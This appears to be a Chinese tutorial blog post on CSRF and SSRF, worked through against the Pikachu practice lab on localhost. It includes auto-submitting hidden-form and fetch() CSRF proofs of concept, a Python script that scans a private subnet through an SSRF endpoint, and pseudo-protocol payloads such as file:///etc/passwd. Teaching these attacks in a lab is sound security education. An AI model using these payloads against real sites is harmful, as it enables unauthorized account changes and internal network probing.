CSRF&SSRF

CSRF

一、原理:

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。实际上是攻击者借用了受害者的Session,欺骗服务器进行操作。

二、利用:

1.修改用户信息
2.利用身份发送邮件、短信
3.利用身份转账
4.盗取账号

三、方式

1.GET

直接把可以修改用户信息或者进行转账操作进行抓包分析,可以看到该数据包使用get方式把用户地址改为了aaa,则可以拼接域名和后面参数。在发给受害者,如果受害者这时登录在http://localhost/pikachu/vul/csrf/csrfget/csrf_get.php中受害者用户信息将被更改。

http://localhost//pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=aaa&email=vince%40pikachu.com&submit=submit

2.POST

同样进行抓包,可以看到这次改为了POST提交,使用bp的csrf poc生成,将该数据包改为前端代码,将该html代码写入自己的服务器的index.html,再将自己服务器的连接发给受害者,即可完成和GET同样的操作。

但是该html代码需要点击按钮才能执行,我们需要一个受害者只要进入就能执行的代码。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form id="myfrom" method="post" action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
      <input type="hidden" name="sex" value="undefine" />
      <input type="hidden" name="phonenum" value="18626545453" />
      <input type="hidden" name="add" value="moon" />
      <input type="hidden" name="email" value="vince&#64;pikachu&#46;com" />
      <button id='btn'  type="hidden" name="submit" value="submit" />
    </form>
	<script>
	document.getElementById("btn").click();
	</script>
  </body>
</html>

将button的type="hidden"使按钮隐藏,并且自动点击俺就以执行提交表单的操作,附上一个不进行页面访问直接传参的代码,需要CORS不进行跨域请求禁止

<!DOCTYPE html>  
<html >  
<head> 
  <meta charset="UTF-8">

  <title>CSRF PoC - Asynchronous Request</title>  
</head>  
<body>  
  <!-- CSRF PoC - generated by Burp Suite Professional -->  
  <script>  
    // 定义要发送的数据  
    const data = {  
      sex: 'man',  
      phonenum: '18628572334',  
      add: 'usa',  
      email: 'vince@pikachu.com'  
    };  
  
    // 使用fetch API发送POST请求  
    fetch('http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php', {  
      method: 'POST', // 或者 'POST'  
      headers: {  
        'Content-Type': 'application/json' // 根据实际情况可能需要更改  
      },  
      body: JSON.stringify(data) // 将JavaScript对象转换为JSON字符串  
    })  
    .then(response => {  
      // 请求成功,这里可以处理响应  
      console.log('Response:', response);  
      // 如果需要获取返回的文本内容,可以使用下面的代码  
      // return response.text();  
    })  
    .catch(error => {  
      // 请求失败,这里可以处理错误  
      console.error('Error:', error);  
    });  
  </script>  
</body>  
</html>

四、绕过

1.token绕过

五、工具

Xray

SSRF

一、原理:

SSRF (Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统(正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔离的内部系统)。

二、利用:

探测内网主机存活、访问内网主机文件

三、方式:

有三种引发SSRF漏洞的函数:

1.file_get_contents() 进行内网文件读取

localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php

2.curl_exec() 进行内网探针

localhost/pikachu/vul/ssrf/ssrf_curl.php?url=http://{193.168.9.23}:{8080}

import requests
session=requests.session()
url="http://localhost/pikachu/vul/ssrf/ssrf_curl.php"
for i in range(0,255):
    for j in range(0,255):
        target = f"http://192.168.{i}.{j}"
        rurl_res = session.get(f'{url}?url={target}')
        if (rurl_res.elapsed.total_seconds() < 4):
            print(f"存活主机:http://192.168.{i}.{j}\n")

3.fsockopen()

四、URL伪协议

file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

例如:

http:192.168.1.6/phpmyadmin/
file:///D:/www.txt
dict://192.168.1.6:3306/info
ftp://192.168.1.6:21

五、可能存在漏洞的传参点和网站有SSRF漏洞的功能点

传参点:

share  wap  url  link  src  source  target  u  3g  display  domain  sourceURL  imageURL

功能点:

1.图片上传、下载功能,可能通过url参数访问资源

2.收藏功能,可能会包含含收藏的目标地址

3.分享功能,可能会包含分享网站的目标地址

4.API接口,可能会包含下载参数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值